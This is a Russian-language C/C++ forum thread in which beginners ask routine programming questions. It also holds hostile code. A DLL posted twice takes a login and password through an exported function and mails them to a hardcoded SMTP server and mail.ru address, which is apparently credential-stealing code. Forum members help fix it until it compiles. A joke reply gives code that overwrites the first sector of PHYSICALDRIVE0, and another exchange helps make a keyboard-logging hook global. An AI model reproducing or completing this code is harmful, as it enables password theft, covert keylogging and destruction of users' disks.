If the lpValueName registry value does not exist, the function returns ERROR_FILE_NOT_FOUND.
2criz
То что ты дал вообще не компилится. Поэтому будем думать что ты просто написал его по памяти.
Дури там много поэтому обсужать не вижу смысла, если интересно - напиши лс.
Вот тебе твой переправленный код:
HKEY hKey;
unsigned char *b = new unsigned char[80];
unsigned long buf=80;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
dwErr = RegQueryValueExA(hKey, "DAEMON Tools", NULL, NULL, b, &buf);
Надеюсь я тебе помог :)
Народ , глупый вопрос , но какая функция в квадрат число возводит ? Посмотрел в хелпе , там нет О_о
C++ Builder 6:
AnsiString String1;
String1 = "23";
Edit1->Text = String1 * String1;
=)))))))
halkfild
30.11.2007, 20:47
глупый вопрос
вообще более целеобразно искать через х*х
если надо большие степени тоже, ускореное умножение
а вообще:
pow ( base, exp)
народ вот таких три простых задачи но не могу я в ехать в тему..
1.Водим 4 буквы получаем результат в цыфрах
2.Водим цыфри получаем буквы.
3.Водим 4 буквы и шыбруем результат в +1
Все основано на типу char
groundhog
04.12.2007, 02:57
1.
#include <stdio.h>
int main (void) {
printf("Enter 4 chars, and hit 'Enter' please...\n\n");
for (int i = 0; i < 4; i++) {
char some_char;
some_char = (char) _fgetchar();
printf("%d\n", some_char);
}
return 0;
}
2.
#include <stdio.h>
#include <stdlib.h>
int main (void) {
printf("Enter 3 digits between 0 and 255...\n\n");
char some_char[4] = {0};
fscanf(stdin, "%s", some_char);
char result = atoi(some_char);
printf("%c\n", result);
return 0;
}
3.
#include <stdio.h>
int main (void) {
printf("Enter 4 chars, and hit 'Enter' please...\n\n");
for (int i = 0; i < 4; i++) {
char some_char;
some_char = (char) _fgetchar();
some_char++;
printf("%c", some_char);
}
return 0;
}
спс,а как бы данные задачи зделать без цыклов?
groundhog
04.12.2007, 11:00
Ну просто убери цикл и всё... Только смысл? Без цикла ты всегда будешь работать только с одним символом вместо заданных 4-х...
просто,задача была поставлена зделать без цыкла.Чуть правда шыфровку изменили.Можна и как хош.
#include <iostream>
using namespace std;
void main()
{
int res=0,res1=0,res2=0,res3=0;
char ch,ch1,ch2,ch3;
cout<<"Dai"<<endl;
cin>>ch>>ch1>>ch2>>ch3;
res= ch +1;
res1= ch1 +2;
res2= ch2 + 3;
res3= ch3 + 4;
cout<< (char)res << (char)res1 << (char)res2<< (char)res3<<endl;
}
Как можно осуществить поиск файла в системе? Т.е. я указываю имя ехе-шника и прога выводит абсолютный путь....
Прога на С, консольная.
> Как можно осуществить поиск файла в системе?
FindFirstFile, FindNextFile (http://msdn.microsoft.com)
хотя к C это не имеет никакого отношения.
reversys
07.12.2007, 22:36
Либо юзай стандартный поиск винды (напиши батничек для этого например) либо смотри в msdn про функции FindFirstFile/FindNextFile.
скрипт:
<удалил>
... снова я топ перепутал... :(
скрипт:
FindResursive
пиздееееец...........
Если я правильно понял мсдн, то FindFirstFile и FindNextFile ищут файл в указанной директории. А у меня другая ситуация -- я знаю как называется файл, но где он находится не знаю...
#include <stdio.h>
#include <windows.h>
int main(int argc, char**argv)
{
HANDLE hF;
DWORD write;
char find[512];
hF=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hF,find,512,&write,NULL);
CloseHandle(hF);
return 0;
}
обычно так ищут : D
в find пиши имя своего файла...)
всем доброго времени суток!
Извиняюсь за вопрос, но никто не сталкивался с реализацией на C задачи о "золотой горе"?
(http://ru.wikibooks.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F:_ %D0%BF%D0%BB%D0%BE%D1%85%D0%BE_%D0%B8%D0%BB%D0%B8_ %D1%85%D0%BE%D1%80%D0%BE%D1%88%D0%BE)
обычно так ищут : D
в find пиши имя своего файла...)
А есть другие способы?
у меня такой вопрос: допустим есть dllка которую надо скомпилить написана на C++.
в лине это так: gcc dll.cpp. а как это для винды сделать?
что-то не хочется качать C++ от мелкософта дистриб которой несколько сот мегов весит! нет какого нить более лаконичного компилятора? llc пробовал - вылетает с ошибкой - каких-то библиотек не хватает.
groundhog
12.12.2007, 13:44
SchmeL, хоть бы сказал каких либ нету... Да и вообще, не кажется, что ответ напрашивается сам собой? Найди недостающие либы да подкинь компилятору...
у меня такой вопрос: допустим есть dllка которую надо скомпилить написана на C++.
в лине это так: gcc dll.cpp. а как это для винды сделать?
что-то не хочется качать C++ от мелкософта дистриб которой несколько сот мегов весит! нет какого нить более лаконичного компилятора? llc пробовал - вылетает с ошибкой - каких-то библиотек не хватает.
Недостаюшие либы, мона найдти на koders.com
мне нужно написать функцию
void tabfunc( ), где параметр - точка входа в функцию f(x)=ln(x)+arccos(x)
напомните как ето зделать
ну в общем вот borland мне выдает
C:\Borland\BCC55\Bin>bcc32.exe dll.cpp
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
dll.cpp:
Error E2209 dll.cpp 3: Unable to open include file 'stdafx.h'
Error E2209 dll.cpp 4: Unable to open include file 'winsock2.h'
Error E2209 dll.cpp 5: Unable to open include file 'stdlib.h'
Error E2209 dll.cpp 6: Unable to open include file 'stdio.h'
Error E2141 dll.cpp 27: Declaration syntax error
*** 5 errors in Compile ***
C:\Borland\BCC55\Bin>
lcc выдает C:\lcc\bin>lcc.exe dll.cpp
cpp: dll.cpp:3 Could not find include file "stdafx.h"
Error dll.cpp: 35 undeclared identifier 'true'
Error dll.cpp: 107 undeclared identifier 'false'
Warning dll.cpp: 107 possible usage of false before definition
Error dll.cpp: 120 operands of = have illegal types 'unsigned int' and 'pointer
to void'
Warning dll.cpp: 35 possible usage of true before definition
Warning dll.cpp: 137 no type specified. Defaulting to int
Error dll.cpp: 137 empty declaration
Error dll.cpp: 137 Syntax error; missing semicolon before "C"
Error dll.cpp: 137 unrecognized declaration
6 errors, 4 warnings
C:\lcc\bin>
ну вот в принципе, в программировании на этом языке ваще полный 0 (компилил тока на линухах) только в php чуток
если можна исход покажы...
groundhog
13.12.2007, 03:30
zindi, задача поставлена весьма непонятно... Я её понял как-то так:
#include <stdio.h>
#include <math.h>
void tabfunc (double x) {
double f_x = log(x) + acos(x);
printf("%f\n", f_x);
}
int main (void) {
tabfunc(0.5);
return 0;
}
SchmeL, такой исходник в борланде надо компилить создавая проект. А вообще показывай исходник... Непонятно откуда у тебя там 'true' и 'false'...
Вопрос у меня keylogger ловит только в своём потоке при том что последний параметр ф-и
SetWindowsHookEx(WH_KEYBOARD,KeyProc, hInstance,0 ) Hook оформил в длл. Не могу разобраться как это сделать?
groundhog - вот исходник dllки // dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
groundhog
13.12.2007, 12:31
SchmeL, попробуй вместо
#include "stdafx.h"
напиши
#include <windows.h>
groundhog
13.12.2007, 12:41
Rav, если ты всё правильно сделал, то вызов
SetWindowsHookEx(WH_KEYBOARD, KeyProc, NULL, NULL);
должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
groundhog, невышло :( попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
groundhog, невышло
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
Надо еще добавить
#pragma comment(lib, "ws2_32")
Компилил в VC++ 6.0.
groundhog
14.12.2007, 01:08
SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:
// dll.cpp : Defines the entry point for the DLL application.
//
#pragma comment(lib, "ws2_32")
//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
ну раз компилится, буду копать спасибо. уже качаю visual c++ надеюсь на нем получится...
P(i)n*Fl0p1
14.12.2007, 14:18
а можно ссылочку на visual c++,а еще лучше на Gnu c ++ чтоб только в виндусе пошел..а то я блин скачал один гну а там одни какието файлы блокнотовские и страницы инетовские((даже скажу название gcc-4.0.1.tar
у меня просто в самоучителе написано:Одна из популярнейших сред разработки — Visual C++ фирмы Microsoft. В ней
можно скомпилировать и выполнить все программы, представленные в этой книге;
однако не все из вас являются владельцами этого программного продукта из-за его
довольно высокой стоимости даже у уличных торговцев (кстати, многие в это не по-
верят, но далеко не все программисты работают в Windows — есть и другие операци-
онные системы). К счастью, существуют и общедоступные среды разработки про-
грамм C++, наиболее популярная из которых GNU C++.
VampiRUS
14.12.2007, 14:24
IDE
http://www.bloodshed.net/devcpp.html
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as it's compiler. Dev-C++ can also be used in combination with Cygwin or any other GCC based compiler.
там вроде идёт сразу и Mingw port of GCC.
P(i)n*Fl0p1
14.12.2007, 15:03
Спасибо огромное прога классная русская..но есть одно но )))там нету очень многих как бы сказать..вещей..например в книге пишут Сердцем пакета GNU C++ является
утилита rhide. там я фиг знает где она)
Вообщем нужна консольная Gnu C++)либо другая книжка
гну незнаю где качать(
пока искал новую книжку наткнулся на самый сложный язык и выучил его буквально за час) это был qbasic ))))) :D
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot